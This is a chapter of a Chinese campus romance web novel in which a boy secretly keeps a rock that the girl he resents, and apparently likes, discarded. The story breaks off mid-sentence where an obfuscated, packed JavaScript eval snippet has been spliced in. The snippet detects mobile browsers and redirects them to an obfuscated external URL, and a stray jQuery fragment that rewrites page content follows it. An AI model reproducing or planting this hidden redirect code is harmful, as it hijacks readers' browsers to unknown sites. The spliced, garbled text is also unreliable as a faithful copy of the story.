男生应声低头,黑框眼镜镜片顿时遮上一层厚厚光芒。他递来两本书和小蜜蜂:“数学老师的,她说先放讲台,等会儿上课用。”
话音未落转身就走,像是避之不及。
大概是隔壁班课代表吧。卓煜熠捧好御用物品走向同桌:“周丞相,陛下圣物。”
周青棠此时挂着神秘莫测的怪笑,看得人不明所以。
“你没事吧?被数学老师吓变异了?”
“没事,产粮了吃上了,感谢上天的馈赠。”周青棠双手合十虔诚闭眼念叨,接过东西去讲台,顺便板书今日挑战题让大家提前抄。
什么意思?卓煜熠朝眼里也浮着点无奈笑意的高望熹疑惑皱眉。
“没什么,不是你感兴趣的事,赶紧装水去。”
数学老师最终还是受铃声召唤现身,她手里攥着一沓卷子,恨铁不成钢的视线如雷电扫射,劈里啪啦把同学们劈得外焦里嫩蜷缩起来。
“咋,考练集体鬼上身了?一群没读过书的帮你们答题了?考完嘻嘻哈哈的我还以为个个150呢结果?”
所有人cosplay鹌鹑,坐得板板正正,大气不敢出。
被调到讲台旁坐的男生刚睡醒不久,不怕死地出声:“老师,不要黑着脸,黑色吸热,小心中暑。”
数学老师脸更黑了,扭头开始数落他,罚他上来发试卷。
上课铃下课铃和讲课声交替回响,树影攀入教室,时间在金黄碎隙间穿流。
下午气温更高,趁着没开始上课,章致谨站到走廊背单词。
最近掀起了养石头的风潮,学生们满学校挖宝,卓煜熠自然不会错过,这两天兴致勃勃视察了每一处花圃。
他站在教室不同方位的窗前,似乎总能望见披着耀眼阳光的她,现在也不例外。
那兰花叶似的碎发正随风飘晃。卓煜熠两手各捧一块圆石头,左看右看,愁眉苦脸,难以抉择。
章致谨嘴唇机械张合,念了几十遍“predominant”,目光始终嵌在一个位置不动。
最后卓煜熠放弃了左手的石头,把它轻轻放回灌木丛,还小心避开压到小草。
目送她风风火火飞远,章致谨耳边的嗡嗡呢喃也倏忽消失。他沉默盯着草丛里的石头,后背冒出隐约灼烧感。
之后半天,他一下课就去上厕所,顺便“巡视”,盯着石头和来往的人,如守宝的恶龙。
第三个课间,有人停在藏了宝的花圃前,忽然蹲下。
章致谨呼吸猛然凝滞,手用力按在围栏上,刺痛的后背快破出翅膀带他飞去喷火吓退窃宝贼。
再定睛一看,原来那人只是系鞋带而已,根本没注意旁边。
章致谨如释重负,松了口气站直,后背骨骼停止咯吱扭动。
放学后的学校冷清得快,章致谨匆匆赶去灌木丛。
石头还安然无恙睡在被人遗弃的位置。远处打排球的声响砰砰叮叮正常持续着。
周五没有晚自习直接放假,卓煜熠她们一般会多玩会儿,他得抓紧时间行动。
章致谨仔细听了会儿周遭动静,小心翼翼捧起石头凝视,面部也跟着石化般僵硬,被思绪敲打出扭曲褶皱和坑坑洼洼。
这世上不是只有他不被卓煜熠看中。
可连石头都比他好,至少它在那掌心躺了两分半钟,感受过她的温度,多幸福,多幸运,这可是人类没有办法体验……
等等。之前他被卓煜熠抱去了医务室,虽然完全不知道是什么姿势,但是抱了。
正肆虐着的怨念突然被潜意识打断,不愿回想的音画猝不及防再度浮现,章致谨不禁怔愣,又被一股柠檬气息奇袭,鼻腔泛开刺痛。
好不容易驱赶了幻觉,可皮肤里的热气从耳朵一路扩散烧到脸上,融化了冷硬的石头面具。
这么说起来,他、他也算是……这简直太……
脑子里杂音不断,懵懵然不知多久,他迟钝注意到排球击奏的白噪音消失了,除去近距离的心跳声,四周一片死寂。
章致谨慌忙收束神思探查,惊悚察觉卓煜熠的脚步声已经转过拐角了。
卓煜熠会发现他,会发现他捡了她不要的石头。
她会误会他,觉得他喜欢她,会大声笑话他。
不行不行不是这样。他只是、只是同情这块可怜的石头而已。
卓煜熠仿佛预知后续,揶揄笑声呼啸而来,他绷紧的神经被毫不留情吹断。
“骗骗别人得了,可别把自己也骗了,我姥姥就这样拧他耳朵骂,还说……”卓煜熠率先穿过拐弯,眼尖瞧见空旷林荫道边还有个人。
他……正蹲地上绑鞋带。
她瞥了眼就收回视线,继续对高望熹滔滔不绝:“还说他下次再浪费钱买鱼装自己钓的就打断他的腿。”
“怎么发现的?”
“结婚几十年了,我姥姥瞅他表情就知道他扯没扯谎,诶你周末过来吃饭吧,到时候我一定钓条大的给你尝尝。”
出了校门,卓煜熠循着香味调转车头:“今天有车轮饼!老板,都有什么口味?”
“草莓、芋泥、菠萝、芒果还有……”
“芋泥和菠萝,高望熹你要什么口味?”
高望熹卷着书包带笑眯眯摇头:“我不饿,我回家直接吃饭。”
卓煜熠只好吃独食,她接过刚出炉的饼呼呼吹气大口享用,刚解决掉菠萝味的,就听悠悠叹息飘到耳边:“唉,也不知道这菠萝是不是用削过脚皮的刀切的。”
“呕——”
卓煜熠立马捂嘴弯腰,哆嗦着抬手控诉:“你故意的!”
高望熹转悠车钥匙冷笑:“当然是故意的,谁让你之前这样说?我也要恶心你一把。”
“难怪你不买,怎么有你这么记仇的人。”
“谢谢夸奖。”
卓煜熠甩着幽怨眼刀大口啃完芋泥馅车轮饼,坐上小电驴。
骑小电驴时,路面微小的凹凸不平都会让车和人一起震动,小电驴化为一颗搏动着的心脏。
大地微弱但蓬勃活跃的心跳从深处荡出,通过车轮传导进四肢,他的心也随之颤抖。
章致谨目视前方,握紧把手。
石头在书包里跳,心脏敲击出相同旋律,沿路颠簸配上完美伴奏。
上楼时,方形金属块也微微震抖,他又感受到了电梯的心跳。
回到安全屋,章致谨仔细清洗完石头用吹风机吹干,在书桌角给它搭个窝。
石头上残留的热气完全消散了,伸手一戳,沁入指腹的只有冰凉。
回想卓煜熠蹲在草丛前权衡的纠结模样,章致谨一步步后退跌坐在椅子上,半晌才低声喃喃:“我们都不被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292206|182520||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
卓煜熠喜欢。”
他和石头,都是不被喜欢不被选择的。
我讨厌你。
章致谨放下石头,抽出日记本开始例行记录。
不知道为什么,今天的怨恨格外深,写一句根本不足以发泄多少。
他憋着一口气,笔耕不辍,愤怒不甘源源不断淌出笔尖烙在纸上。
我讨厌你,我讨厌你,我讨厌你,我讨厌你……
写着写着,下一个“我”字之后紧跟的不是一压而起的点,却是直挺挺的横。笔还操纵着无意识的手指扬高,准备划下将横一劈为二的竖线。
不对。章致谨立刻止住发泄,后背也被笔尖重重划伤般火烧火燎,又渗出细细密密的冷凉。
这只叛离的手本打算写什么?
他眼皮一帧一帧垂低,呆愣注视面前凭空出现的银线。
数根细丝没入手腕和五指指尖,偷偷操控他动笔。
章致谨顺着线的牵拉方向艰难抬头,白墙上若隐若现的幻影映入瞳孔。
附中校服,规规矩矩扣好的两颗纽扣,惨白的脖子和下巴。
余光瞄到对方嘴角下的痣,章致谨慌忙低头涂掉错别字甩开笔,望着满篇愈发飘逸潦草的字迹狠狠咬牙。
才不是这样。
他伸手想照例抽出《涅朵奇卡》读一会儿静静心,可跳进视野的却是《赌徒》。
两个大字横竖撇捺交错,硬邦邦硌进眼里。
章致谨摁住坚硬书脊,迅速把书压到练习册下。
他才不是赌徒。他才不像阿列克谢。
周一返校上课,更多人桌上摆有形态各异有名有姓的石头。章致谨暗中对比一圈,心满意足收回目光。
还是卓煜熠选的好看,哪怕那是她最后放弃的。
为了炫耀自己的宝贝,几个同学捧着石头纠缠地理老师。
“老师你看我手里的有没有可能是化石?”
“这是什么世纪的石头?”
“我石头上这些痕迹是风化还是侵蚀?”
地理老师顶着无语表情回答,最后抄起地球仪作势要砸还问个不停的人:“好了啊别耽误上课,看下一题,题干信息很清晰,综合不同角度切入就有答案了,所以动脑子想想,从劳动力角度考虑,建造土楼的最佳时节是什么时候?”
“反正不能在夏天。”教室某处冒出声音。
“为什么?”
“夏天太热,建土楼会中暑。”
地理老师拉了个脸夸张鼓掌赞美:“哇你们可真有人情味!”
时而正经时而不正经地上完课,杨青松也捧着石头宠物玩得不亦乐乎,边唠唠叨叨:“我差点死了,还好青棠一个操作瞬间三连杀把我救出来……欸致谨你要不要也养?最乖最省心的宠物。”
章致谨面容再次僵化成石头,翻开物理习题开始计算,声音也硬邦邦的:“不养,幼稚。”
“幼稚?是你不懂它的好!切!快上课了别写了,去操场吧。”
“马上,我算完这题。”章致谨保持正常速度打草稿,暗中抿嘴深呼吸。
就是快上课了才要做点题让自己平静下来。
每周有一节体育课和1班同时上,虽然视野所见距离拉远,但所见时间拉长。
他能观察卓煜熠几乎整整一节课,也有可能擦肩而过。